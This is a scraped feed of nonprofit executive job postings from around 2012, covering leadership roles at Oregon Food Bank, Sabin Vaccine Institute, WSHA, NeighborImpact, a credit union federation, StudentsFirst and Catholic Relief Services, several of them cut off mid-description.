execSearches Nonprofit jobs http://www.execsearches.com Nonoprofit, Government, Health and Education Jobs Chief Executive Officer - Oregon Food Bank - Portland, Oregon http://www.execsearches.com/non-profit-jobs/jobDetail.asp?job_id=24083 Oregon Food Bank is seeking a collaborative Chief Executive Officer to take this award winning $60M nonprofit organization to the next level. Building on our 30 year track record of success, OFB and its Network partners provide over 80 million pounds of food to hungry families statewide, and advocates at the local, state and federal levels for policies to end hunger. The next CEO’s charge is to build on the organization’s strong existing food acquisition and distribution operation, by: • Developing innovative procurement, handling and distribution strategies, • Developing additional synergies with the 20 regional food banks and other hunger-relief agencies that comprise the OFB Network, and • Optimizing its coalition-leading advocacy efforts and voice for hunger alleviation policies. <b>The Organization</b> Oregon Food Bank believes no one should be hungry. With sufficient public will and the support of the entire community, we believe it is possible to eliminate hunger and its root causes. Founded in 1982, Oregon Food Bank has been leading the fight against hunger in Oregon and southwest Washington by collecting and distributing food through a network of four OFB branches and 16 independent regional food banks. The OFB Network helps nearly 1 in 5 households fend off hunger. OFB also leads statewide efforts to increase resources for hungry families and to eliminate the root causes of hunger through advocacy, nutrition education, garden education and by helping communities strengthen local food systems. Following is a summary of a few of our recent accomplishments. <u>Emergency food distribution</u> Last year, the Oregon Food Bank Network distributed a record 81-million pounds of food to hungry families statewide. This was made possible by a major 80 percent jump in U.S. Department of Agriculture commodities. And, while retailers and their customers faced a tough year, donations to OFB's Fresh Alliance program stayed even at 7 million pounds of fresh produce, meat and dairy. <u>Community Support</u> Volunteers donated 117,000 hours in 2010-11, the equivalent of 56 full-time employees with an estimated value of $2 million. 60,000 donors provided 71,000 gifts to help fight hunger. The average gift of a donor was $88. <u>Advocacy</u> OFB advocated for key food programs on the federal, state and local levels; served on Oregon's Legislative Task Force on Hunger; helped develop Multnomah County Food Action Plan goals; and grew its base of statewide "Hunger Champion" volunteers. In addition, OFB formalized its sponsorship of the Childhood Hunger Coalition, a group working to provide ongoing education and outreach tools for clinicians in an effort to reduce childhood hunger and improve the health of children and families. <u>Nutrition and Garden Education</u> Volunteers helped OFB expand its Cooking Matters™ courses in Washington County from eight to 20. OFB's Nutrition Education program trained 660 participants through 46, six-week Cooking Matters™ courses and 17 single-session workshops. In addition, four satellite program partners throughout the state trained 51 participants through six Cooking Matters™ courses. 451 participants learned to grow their own food through Seed to Supper workshops and the Cultivating Community youth mentorship program in OFB Learning Gardens. The programs were offered in partnership with 18 different agencies serving low-income clients. 180 students and 30 teachers and parents contributed more than 1,300 volunteer hours to the Westside Learning Garden - a partnership with Rachel Carson Environmental Middle School - now in its second year. <u>Community Food Systems</u> OFB conducted ten FEAST (Food, Education, Agriculture Solutions Together) workshops to help communities improve the health, equitability and resiliency of local food systems. Three RARE (Research Assistance for Rural Environments) AmeriCorps volunteers completed two multi-county assessments as well as a local food guide for Klamath County. <u>Statewide support</u> Last year, OFB provided $2.1 million, in grants and equipment to support the statewide regional food bank network. Rachel Bristol, the outgoing CEO who has provided outstanding leadership for the organization for the past 29 years, has recently announced her retirement effective June 30, 2012. <b>The Position and Key Priorities</b> Oregon Food Bank has, over the course of its 30 year history, grown to be one of the largest and most respected nonprofits in the state of Oregon. Its impact in terms of food volume distributed, its effectiveness as both an advocate for ending hunger as well as a purveyor of food for the hungry have both been recognized statewide and nationally, through several statewide surveys and as the winner of statewide awards and recognition. OFB’s operational systems, including food acquisition and distribution, facilities, financial management and information technology have been broadly recognized as highly effective and efficient. Reporting to the Board of Directors, the CEO has overall responsibility for leading and managing an operation of over 130 employees. OFB is also supported by approximately 30,000 volunteers, has 60,000 donors, 4 branches, and coordinates with a network of 20 regional food banks and 920+ partner agencies throughout Oregon and Clark County, WA. The CEO works collaboratively with a dedicated Board of Directors to establish OFB's vision and long-range strategic plan and Board policies, and works with other senior managers in formulating and ensuring the implementation of annual goals and strategies to achieve planning goals. The CEO has three direct reports, the COO, CFO and executive support manager. Oregon’s economy has yet to recover from the Great Recession. Consequently, the new CEO will face some significant challenges to maintain the current level of food distribution and meet OFB’s significant community expectations. The new CEO will be expected to leverage the organization’s strong community support and institutional capabilities to address the following key priorities for the next 12-to-18 months: 1. <u>Lead External Relations and Resource Development Efforts:</u> Provides leadership in fundraising, public relations, and marketing of OFB to increase community awareness, contributions of food and funds and maintain a strong, positive brand. Participates in major donor cultivation and development with individuals, major foundations and corporate donors. 2. <u>Optimize strategies addressing hunger’s root causes, including advocacy:</u> Through thoughtful and well-designed planning, budgeting and coalition building and advocacy processes, provide leadership toward establishing an agreed upon balance between being Oregon’s leading advocate and voice for policies to end hunger, and continuing to strengthen OFB’s ability to acquire and distribute an increasing volume of food. Play a leading role with the network in serving as OFB’s most prominent voice for public policies and grassroots solutions that address the root causes toward ending hunger. 3. <u>Further develop and support a high performing work culture</u> that relies upon collaborative approaches to planning and decision making. 4. <u>Optimize the Capacity and Effectiveness of the Oregon Food Bank and Network:</u> Through personal contact and management of OFB’s Network Agency Relations Department, continue to align the goals, strategies and expectations of OFB with those of the Network’s 20 Regional Food Banks. After an initial period of familiarization, assessment and relationship-building, the new CEO will play a leadership role in developing OFB’s next strategic plan. While OFB has strong systems in place, the new CEO will benchmark against other leading food bank programs and nonprofit organizations across the U.S., seeking a continuous improvement and efficiencies by staying abreast of best practices nationally and fostering a culture of innovation. In addition, the CEO will facilitate development of an enhanced vision and strategy for food acquisition. The outgoing CEO’s primary focus has been on external relations, serving as the lead spokesperson with media, funders and partner organizations on issues related to fundraising, public policy, Board recruitment, strategic direction, and hunger in Oregon. These priorities may shift as the new CEO acclimates and assesses leadership roles. . <b>The Position</b> The purpose of this role is to carry out the overall mission of the Food Bank, including strategic planning, financial management, development (fundraising), acquisition and distribution of food, programs and operations, volunteer services, human resource management, community relations, facility and equipment maintenance and safety and all legal compliance.

Vice President, Sabin Vaccine Institute; Deputy Director, Sabin Vaccine Institute PDP - Sabin Vaccine Institute - Houston, Texas http://www.execsearches.com/non-profit-jobs/jobDetail.asp?job_id=24077 JOB OPENING Vice President, Sabin Vaccine Institute; Deputy Director, Sabin Vaccine Institute PDP Organization: Sabin Vaccine Institute Location: Houston, TX Program: Vaccine Development Reports to: President, Sabin Vaccine Institute; Director, Sabin Vaccine Institute PDP Organization Summary: Sabin Vaccine Institute (Sabin) is a non-profit, 501(c)(3) organization of scientists, researchers and advocates dedicated to reducing needless human suffering caused by vaccine preventable and neglected tropical diseases. Sabin works with governments, leading public and private organizations, and academic institutions to provide solutions for some of the world’s most pervasive health care challenges. Since its founding in 1993 in honor of the oral polio vaccine developer, Dr. Albert B. Sabin, the Institute has been at the forefront of efforts to control, treat and eliminate vaccine preventable and neglected tropical diseases by developing new vaccines, advocating use of existing vaccines, and promoting increased access to affordable medical treatments. For more information please visit www.sabin.org. Program Summary: In 2000, the Sabin Vaccine Institute established an innovative non-profit Product Development Partnership (PDP) – Sabin Vaccine Institute PDP - to develop new vaccines for human hookworm infection and other NTDs. The Sabin Vaccine Institute PDP is comprised of academic, governmental, industrial and NGO institutions, which, based on the target diseases, form consortium partnerships in order to advance the vaccine development programs. The mission of the Sabin Vaccine Institute PDP is to reduce human suffering caused by infectious and neglected tropical diseases (NTDs) through the development and testing of new and novel vaccines. The Sabin Vaccine Institute PDP is pioneering the development of vaccines that have no traditional commercial market. These diseases represent some of the most common scourges of the world’s poorest people. In 2011, as part of a new affiliation with Baylor College of Medicine (BCM) and Texas Children’s Hospital (TCH), the Sabin Vaccine Institute PDP relocated to the Texas Medical Center in Houston, TX. The relocation included the Sabin Vaccine Institute President and PDP Director, Dr. Peter Hotez, and two Sabin Vaccine Institute staff members (one Contracts and Financial Manager and one Quality Assurance Senior Program Officer), in addition to a staff of 15 or more product development scientists. Currently, three Sabin staff members of the PDP continue to be based in Washington, DC (the Director of Regulatory Affairs and Quality Assurance, a Quality Assurance Senior Program Officer and a Program Coordinator). The Sabin Vaccine Institute PDP also operates clinical testing sites in Brazil in collaboration with the Oswaldo Cruz Foundation (FIOCRUZ), under the direction of a Director of Clinical Trials based at the George Washington University in Washington, DC and at FIOCRUZ in Brazil. The Sabin Vaccine Institute PDP is currently comprised of three signature vaccine development initiatives: HUMAN HOOKWORM VACCINE INITIATIVE (HHVI): The HHVI is the first and only initiative with a mission to develop a vaccine to confer preventive immunity against human hookworm infection (‘hookworm’), an NTD affecting 600 million people that threatens vulnerable populations around the globe. The Sabin Vaccine Institute PDP has established a vaccine development pipeline that contains two major recombinant hookworm antigens, which ultimately will be combined in a bivalent vaccine. Currently, we have one hookworm vaccine candidate antigen undergoing clinical testing in Brazil and another that will begin in late 2012. Major partner organizations of the HHVI include the Oswaldo Cruz Foundation (FIOCRUZ [Brazil] including BioManguinhos), Aeras (Maryland), Fraunhofer CMB (Delaware), Texas Children’s Hospital/ Baylor College of Medicine (Houston), The George Washington University (DC), University of Kansas (Kansas), James Cook University (Australia), Queensland Institute of Medical Research (Australia), London School of Hygiene and Tropical Medicine (UK), and University of Pittsburgh (Pittsburgh). SCHISTOSOMIAIS VACCINE INITIATIVE: The schistosomiasis vaccine is a monovalent recombinant protein vaccine, which has completed cGMP manufacture with toxicology and clinical testing to begin in mid 2012 and early 2013, respectively. Major partner organizations of this initiative include Aeras (Maryland), Instituto Butantan (Brazil), Texas Children’s Hospital/ Baylor College of Medicine (Houston), The George Washington University (DC), University of Kansas (Kansas) and James Cook University (Australia). CHAGAS DISEASE AND LEISHMANIA VACCINE INITIATIVES: These vaccines are at an earlier, preclinical stage of development with major partner organizations, including Birmex (Mexico), Cinvestav (Mexico), Autonomous University of Yucatan (Mexico), Texas Children’s Hospital/Baylor College of Medicine (Houston), Bernhard Nocht Institute (Germany), Eisai Ltd (Japan), NIH (DC) and the University of Pittsburgh (Pittsburgh). A new vaccine program for SARS is also anticipated to begin later in 2012.

WSHA’s strategic goals are to: Challenge members to fundamentally transform the health care delivery system to reliably provide safe, high quality, and cost-effective care. Advocate that all Washington residents have access to health care. Lead efforts to achieve zero preventable deaths, injuries, and infections. Promote the viability and vitality of the statewide health care delivery system. Improve the availability of skilled, well-trained, diverse, and productive health care professionals to serve the health care needs of our communities. Improve the health of the population in Washington State while maintaining or reducing the cost per capita and improving the patient experience. WSHA is based in Seattle, with a staff of 51 and an annual budget of $8 million. More information about WSHA will be found at: www.wsha.org CURRENT CIRCUMSTANCES This search for a Senior Vice President for Advocacy & Government Affairs (Senior Vice President) is underway in a period of significant change at WSHA and in the health care industry. Leo Greenawalt, who served as President and Chief Executive Officer (CEO) for 30 years, retired in 2011. An accomplished association professional, he oversaw the emergence of WSHA as a national leader in this field. Mr. Greenawalt and his team developed a reputation for excellent membership service, including effective representation in government policy making and the promotion of an innovative and progressive legislative agenda. After a comprehensive search, the WSHA Board of Trustees appointed Scott Bond as the new President/CEO in April 2011. Prior to accepting this assignment, Mr. Bond had a 31-year career as a hospital executive in Washington State, and was an active WSHA leader, committee chair, and board chair. He enjoys the full support of the board, with whom he has fashioned an agenda to lead the organization towards a refreshed strategic direction. The turnover that often follows the departure of a long-term chief executive is complete. The strong executive team now in place shares a mutual commitment with Mr. Bond to plan for a new strategic direction. In recognition of these challenges, Mr. Bond and his team have thoughtfully prepared staff and membership to align in support of the new Senior Vice President. The current Senior Vice President, Randy Revelle, will be retiring after more than 17 years with WSHA, including almost 12 in this position. Mr. Revelle leaves big shoes to fill. He is ending a 45-year career in law, politics, government, and health care. His background as an elected official, mental health care advocate, his decades long, trusting relationships with elected and executive branch officials of both parties, his expertise in governmental policy and his effective management of a strong team of experts have resulted in a consummate representation of the WSHA membership. This will be a challenging assignment for the new Senior Vice President, who will need to play a finely balanced, nonpartisan role in a deeply partisan policy making environment, and aspire to the constructive relationships and credibility exemplified by Mr. Revelle. The demands for an uninterrupted, strong, and strategic performance through every legislative session, with the next one starting in January 2013, require that the Policy & Advocacy Team be quickly ready to work with its new leader. There is a highly developed legislative tracking apparatus in place, with an experienced, highly capable analytical, management, and lobbying staff and a well-honed membership network. We believe the team now in place is very capable of sustaining its strong performance, allowing the new Senior Vice President to implement the current strategic agenda while also taking the lead in evolving a long-term strategy. The new Senior Vice President will have full autonomy in assessing and managing this team. We will encourage our top candidates to meet with team members as a part of his or her process of evaluating this opportunity, and anticipate a frank exchange among all parties. We are seeking a Senior Vice President who can effectively engage with a complex and well-designed policy agenda, and then take the lead in adapting that agenda for the next generation in the changing and dynamic field of health care. ROLE AND RESPONSIBILITIES Reporting to the President/CEO, the Senior Vice President will have overall responsibility for the planning, implementation, administration, and management of the WSHA advocacy program. He/she will serve as an advisor to the President/CEO and board on all advocacy matters, and can expect the active involvement and support of board and association members. Through matrix reporting relations, the Senior Vice President is responsible for organizing, coordinating, and managing the advocacy work of the Policy and Advocacy Team. The Policy and Advocacy team is about 20 staff, including three members of the Advocacy department and two contract lobbyists, on long-term retainers. He/she will work collaboratively with the Senior Vice President for Policy Development on WSHA’s policy development process.

Consulting with key advisors, experts, and WSHA members, the Senior Vice President will manage the American Hospital Association Political Action Committee (PAC) and Washington Hospital PAC fundraising campaigns and donation process. The Senior Vice President will be expected to maintain and adapt the WSHA advocacy agenda through each cycle of the legislative process. The Senior Vice President will also develop and manage a legislative agenda that leads change beneficial to WSHA members in an era of significant reform of the health care delivery system. QUALIFICATIONS We are seeking a Senior Vice President who is a skilled leader, manager, and government affairs professional.

Our mission focuses on enriching lives and offering hope for the future by providing access to education and skills enrichment. NeighborImpact serves central Oregon’s Crook, Jefferson and Deschutes counties, which are located east of the Cascade mountain range with a growing population of approximately 200,000. The communities we serve are a mix of rural areas and include urban communities such as Bend and Redmond which are hubs for higher education, health care, commerce , outdoor recreation and entertainment. The next Executive Director’s charge will be to maintain the high quality of NeighborImpact’s existing programs and take the organization to the next level by developing new relationships, increasing fundraising, expanding existing programs, and exploring new programs and funding opportunities.</i> <b>The Organization</b> Founded in 1985, NeighborImpact is a private not for profit Community Action Agency with a $15M annual budget, dedicated to empowering individuals and families to succeed and become engaged citizens in the community. We envision a Central Oregon where residents, regardless of their income status, have hope and optimism, and have access to community resources that see them through times of need. NeighborImpact assists people to become more independent and build on the strengths and assets that lead to long term success, recognizing there is a continuum of support that all people need throughout their lives. NeighborImpact is broadly recognized across the three county region as the primary provider of Head Start, child care resources, food, transitional housing, rental assistance, and home energy and rehabilitation programs. Since 1994, NeighborImpact has won numerous statewide and national awards recognizing its programs in early education, human services and low income housing. For the past three years NeighborWorks America has affirmed that NeighborImpact meets its criteria to be rated as an exemplary organization, based on exceeding performance standards in each area of Resource Management, Organizational Management and Production/Program Services. For more information about the organization, please visit our website at <a href="http://www.neighborimpact.org">www.neighborimpact.org</a>. In 2011, our staff of 188, with the help of over 550 volunteers, provided the following basic and self-sufficiency services for over 19,000 people every month: <b>Early Care & Education Programs:</b> Head Start provides a comprehensive program focusing on school readiness for economically disadvantaged children. Children receive a quality preschool education plus access to nutritious meals, health, dental, vision, hearing and mental health care. Parents are fully engaged in their children’s education, family and child goals and supportive services, and increase their parenting, advocacy and leadership skills. Child Care Resources supports the maintenance of a robust local supply of quality child care and provides parents with child care referrals and information on choosing quality care. Child care providers are offered a wide array of training, educational resources and mentoring, while local employers are provided with consultation regarding employer policies, tax incentives and child care subsidies. <b>Emergency Service Programs:</b> Our Emergency Service Programs provide services to address short-term needs for rent, food, family shelter and heating assistance. Transitional Housing and Tenant Based Assistance programs assist at-risk and homeless families by providing rent subsidies and supportive services that help them stabilize and secure permanent housing. The Food Bank collects and distributes over 2.1 million pounds of food annually to 45 local agencies serving over 19,000 individuals per month. The Energy Program provides one-time assistance to seniors, persons with disabilities, families with young children, and persons in crisis to maintain heat in their home. Over 8,000 households were served in 2010-11. <b>Housing Center Programs:</b> The Housing Center offers a variety of classes, programs and services to help residents strengthen their household finances, build financial assets, and acquire, maintain and sustain homeownership. Programs include homebuyer education and pre-purchase counseling, down payment assistance loans, reverse mortgage counseling, financial literacy classes and credit counseling, foreclosure prevention workshops and counseling, post-purchase homeowner education and an individual matched savings programs.

Sharon Miller, the outgoing Executive Director, who has led the organization for the past 26 years, has recently announced her retirement effective September 30, 2012. <b>The Position</b> NeighborImpact’s programs are largely government funded, with over 95% of program funding derived from government grants and contracts. Expertise in securing, managing and growing government grants and contracts has allowed NeighborImpact’s rapid growth to $15M in less than 30 years. Yet the constraints associated with government funding provide a counterpoint for the new Executive Director to develop innovative strategies that allow growth in areas such as unrestricted funding, new partnerships and program development to more fully serve our community.

About StudentsFirst We are a national grassroots movement of more than 1 million parents, teachers, students, administrators and concerned citizens mobilizing for one purpose: to put the laws and leaders in place to make students the focus of and ensure America has the best schools in the world. We believe that we've been doing things the old way for too long. Pitting the interests of the grown-ups in the system against one another, for example, rather than focusing on real solutions. No one won. And students lost. In too many American schools, current laws, policies, and practices are putting adult interests ahead of students. The result is an increasingly broken education system that, if not corrected, will keep America from leading in the increasingly competitive global marketplace. It's time for a new approach that puts students' interests at the center of education policy. We are channeling the energy of our members to produce meaningful results on both the local and national level. We are working with bipartisan state legislators to create laws and policies that put the needs of students above any other interest in the system. Our members are pushing for reforms that will elevate the teaching profession and improve teacher and principal quality, empower parents and improve the governance and financial strength of school districts. Together, we’ve already helped pass more than 50 new policies in half a dozen states. We have helped improve education systems affecting millions of students. We’re transforming public education to ensure great teachers and great schools for all of our kids. StudentsFirst was founded in 2010 by former Washington D.C.

The Federation achieves its mission by strengthening those credit unions focused on serving low-income, urban and rural communities throughout the United States – known as community development credit unions or CDCUs -- as well as other credit unions looking to expand their outreach and services to underserved populations. The Federation, which co-founded and is a leader of the Community Development Financial Institutions (CDFI) Coalition, is a certified CDFI that raises investments nationally and in turn invests in CDCUs across the country. Cliff Rosenthal, the CEO who has led the Federation for nearly 30 years, will be departing the organization in May, 2012 to serve as Assistant Director of the new Consumer Financial Protection Bureau in Washington, heading up the Office of Financial Empowerment. Consequently, the Federation is seeking a strong and dynamic President/ CEO to lead the organization through its next stage of growth and service during this critical time of economic need for communities nationwide. <b>The Organization</b> Founded in 1974 by a coalition of credit union leaders dedicated to revitalizing low income communities, the Federation currently has 235 member CDCUs with combined assets of over $13 billion and more than 1.6 million members. Its membership of Community Development Partners includes some of the largest credit unions in the nation which are actively committed to better serving people of modest means, but which do not have serving the underserved as their primary mission focus. CDCUs specialize in serving populations generally considered the hardest to serve, including low-income wage earners, recent immigrants, aging populations and people with disabilities. The Federation’s core programs include: • The Community Development Investment Program (CDIP), which manages more than $50 million for investment in CDCUs • The CDCU Mortgage Center, LLC, which includes a secondary market to purchase loans from credit unions and which provides training and assistance to CDCUs seeking to start or expand mortgage programs • Education and Training, which includes the intensive on-site CDCU Institute™, webinars, and regional training programs • Targeted impact programs, including initiatives to help low income seniors gain financial security; a short term, small dollar loan pilot program;, and an alliance with a network of organizations serving people with disabilities to better bring financial services and access to credit to the millions of Americans that are disproportionately represented among the low-income population of this country. The Federation is governed by a board of directors comprised of 15 members who are leaders of member CDCUs. The Federation has an annual operating budget of approximately $3.5 million (exclusive of subgrants), drawn from member dues, foundation grants, investment income, fees and contract revenues. Current staffing is 16, headquartered in New York City’s financial district with three field staff in Madison, WI; Colorado Springs, CO; and San Francisco, CA. Key positions include the CFO/COO, and directors of Community Development Investments, Education and Training, Membership, and Communications. The Federation’s 3-5 year vision is to significantly increase the number of low- income families and individuals benefitting from credit union services with related growth in the federation’s membership and assets to support serving more people and communities. <font size="3"><b>The Position</b> <font size="2"><b>Key Priorities</b> The Board and staff have identified the following as top priorities for the new CEO over the next 12-18 months (not in priority order): • Motivate and retain staff and expand staff capacity • Build the brand image of the Federation, clarifying and enhancing the particular benefits of membership to members in an increasingly competitive environment • Secure necessary funding and enhance the organization’s financial stability • Review and recommend changes to the current strategic plan and organizational priorities • Maintain and continue to build priority external relationships • Review and rethink lending and investment programs • Help larger credit union reach low-income members <b>Key Responsibilities</b> The CEO reports to the board of directors and carries the full range of responsibilities generally associated with a chief executive officer. These responsibilities include external relations, strategic planning, resource development and organizational management. The President is the primary spokesperson for the Federation, and represents the organization to the broad range of publics it touches throughout the nation. These publics include member CDCUs, other credit unions and financial institutions that serve similar communities and constituencies, as well as many partners from beyond the local community level. Those external partners include the many federal, state and local regulatory and governmental agencies that relate to the Federation’s programs and activities, the various local and national organizations and coalitions that support and share its mission and goals, such as the CDFI Coalition, Opportunity Finance Network and other sectors of the business and banking communities, whose support is critical to many of the Federation’s initiatives. In the area of strategic planning, the CEO works closely with the board and senior management to shape the organization’s direction. This includes both the identification and assessment of new strategies and initiatives that might continue the Federation’s identity as a trailblazing organization, and planning for the careful utilization of human and financial resources. Annual program and financial plans need to be developed and implemented, with an eye toward not only to carrying out the Federation’s mission objectives, but to strengthening its own capacity to sustain itself. A third major responsibility for the CEO is that of developing resources for the organization. In this role, he/she will work closely with the board, to both maintain positive relations with current investors and funders, and identify and develop new sources of annual support, as well as capital for development projects. The CEO plays a key role in communicating with and nurturing investors, even as she/he pursues other potential sources of revenue associated with either current or new programs. Finally, the CEO is the Federation’s chief administrator, with oversight responsibility for both program and management systems. Central to that effort is assuring the continuing presence of capable staff and quality systems. This requires maintaining a solid understanding of the financial condition of the organization, and the ability to communicate that condition clearly to the board and external partners both through financial reports and appropriate commentary. Finally, and by no means least important, the CEO is responsible for creating a work environment that challenges and encourages staff, and enables them to achieve their greatest level of effectiveness and develop professionally. <b>Experience and Attributes</b> The ideal candidates for this position will be strategic, innovative, empathetic, and passionate, and share our commitment to assist our member organizations to help their members and customers become more independent and build on the strengths and assets that lead to long term success.

CRS carries out the commitment of the Bishops of the United States and the Catholic people to assist the poor and vulnerable overseas. CRS's activities are motivated by the Gospel of Jesus Christ to cherish, preserve, and uphold the sacredness and dignity of all human life; to foster charity and justice; and to embody Catholic social and moral teaching. CRS acts to: •Promote human development by responding to major emergencies, fighting disease and poverty, and nurturing peaceful and just societies; and •Educate and serve Catholics in the United States as they live their faith in solidarity with their brothers and sisters around the world. For the last 67 years, CRS has been an agent of help and hope for the poorest of the poor around the world. Over the past 20 years, the agency has done an impressive job of expressing and living its Catholic identity, and has effectively begun to engage American Catholics in living in solidarity -- via prayer, formation, education, giving, learning, and action -- with the people CRS has traditionally served overseas. CRS completed a Strategic Review in 2000 that set up the agency for a decade of achievement and phenomenal growth. CRS has quadrupled in size over the past 10 years and the agency has established a global footprint which is both broad (over 100 countries) and deep (extending to community level, rural areas, and conflict zones). CRS has a growing portfolio of advocacy, agriculture, education, emergency response, health, HIV/AIDS, peace building, social safety net, and food security programs. In addition to extending partnerships and investing in developing a wide array of partners at the community and country levels, CRS has also introduced new programmatic approaches, including implementing more participatory development methodologies and using innovative technologies to extend the reach and impact of CRS programs. CRS employs a global and diverse workforce of nearly 5,000 people and is expected to soon surpass a $1 billion (USD) yearly operating budget.
